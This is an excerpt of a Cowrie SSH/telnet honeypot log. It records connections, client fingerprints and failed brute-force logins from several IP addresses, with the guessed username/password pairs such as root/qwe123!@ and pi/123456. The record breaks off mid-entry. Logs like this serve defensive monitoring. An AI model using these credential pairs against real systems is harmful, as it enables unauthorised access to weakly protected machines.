{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:01.600317Z","src_ip":"45.156.87.253","session":"9fab0f6f6c43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:01.844435Z","src_ip":"45.156.87.253","session":"9fab0f6f6c43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:02.931058Z","src_ip":"45.156.87.253","session":"9fab0f6f6c43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46016,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ef96d67da38","protocol":"ssh","message":"New connection: 45.156.87.253:46016 (10.17.0.5:22) [session: 3ef96d67da38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:04.862422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:04.866268Z","src_ip":"45.156.87.253","session":"3ef96d67da38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:04.977661Z","src_ip":"45.156.87.253","session":"3ef96d67da38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:05.340342Z","src_ip":"45.156.87.253","session":"3ef96d67da38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":56774,"dst_ip":"10.17.0.5","dst_port":23,"session":"7671fa43a82e","protocol":"telnet","message":"New connection: 72.167.226.244:56774 (10.17.0.5:23) [session: 7671fa43a82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:05.374643Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:06.424310Z","src_ip":"45.156.87.253","session":"3ef96d67da38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46018,"dst_ip":"10.17.0.5","dst_port":22,"session":"330c72bba04d","protocol":"ssh","message":"New connection: 45.156.87.253:46018 (10.17.0.5:22) [session: 330c72bba04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:08.356056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:08.360364Z","src_ip":"45.156.87.253","session":"330c72bba04d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:08.441302Z","src_ip":"45.156.87.253","session":"330c72bba04d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:08.682907Z","src_ip":"45.156.87.253","session":"330c72bba04d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:09.766356Z","src_ip":"45.156.87.253","session":"330c72bba04d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60656,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c51e72e4cca","protocol":"ssh","message":"New connection: 45.156.87.253:60656 (10.17.0.5:22) [session: 2c51e72e4cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:11.691037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:11.695372Z","src_ip":"45.156.87.253","session":"2c51e72e4cca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:11.777896Z","src_ip":"45.156.87.253","session":"2c51e72e4cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:12.026011Z","src_ip":"45.156.87.253","session":"2c51e72e4cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:13.110176Z","src_ip":"45.156.87.253","session":"2c51e72e4cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":44754,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fdc7dfdc42e","protocol":"ssh","message":"New connection: 192.169.249.148:44754 (10.17.0.5:22) [session: 0fdc7dfdc42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:14.184263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:14.188070Z","src_ip":"192.169.249.148","session":"0fdc7dfdc42e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:14.253840Z","src_ip":"192.169.249.148","session":"0fdc7dfdc42e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iota789","message":"login attempt [root/iota789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:14.449600Z","src_ip":"192.169.249.148","session":"0fdc7dfdc42e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60658,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fa6c37c671f","protocol":"ssh","message":"New connection: 45.156.87.253:60658 (10.17.0.5:22) [session: 8fa6c37c671f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:15.027738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:15.031456Z","src_ip":"45.156.87.253","session":"8fa6c37c671f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:15.111959Z","src_ip":"45.156.87.253","session":"8fa6c37c671f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"123","message":"login attempt [odoo18/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:15.512060Z","src_ip":"45.156.87.253","session":"8fa6c37c671f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:15.515959Z","src_ip":"192.169.249.148","session":"0fdc7dfdc42e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:16.596382Z","src_ip":"45.156.87.253","session":"8fa6c37c671f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60668,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e222fff7105","protocol":"ssh","message":"New connection: 45.156.87.253:60668 (10.17.0.5:22) [session: 9e222fff7105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:18.530002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:18.533773Z","src_ip":"45.156.87.253","session":"9e222fff7105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:18.614146Z","src_ip":"45.156.87.253","session":"9e222fff7105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"1q2w3e4r","message":"login attempt [gabriel/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:18.856184Z","src_ip":"45.156.87.253","session":"9e222fff7105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:19.939683Z","src_ip":"45.156.87.253","session":"9e222fff7105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59898,"dst_ip":"10.17.0.5","dst_port":22,"session":"c948d6013274","protocol":"ssh","message":"New connection: 45.156.87.253:59898 (10.17.0.5:22) [session: c948d6013274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:21.875234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:21.878625Z","src_ip":"45.156.87.253","session":"c948d6013274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:21.961409Z","src_ip":"45.156.87.253","session":"c948d6013274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"123456","message":"login attempt [pi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:22.205943Z","src_ip":"45.156.87.253","session":"c948d6013274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":56630,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e123cf13a90","protocol":"ssh","message":"New connection: 69.163.176.54:56630 (159.203.135.109:22) [session: 6e123cf13a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:22.530608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:31:22.534237Z","src_ip":"69.163.176.54","session":"6e123cf13a90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac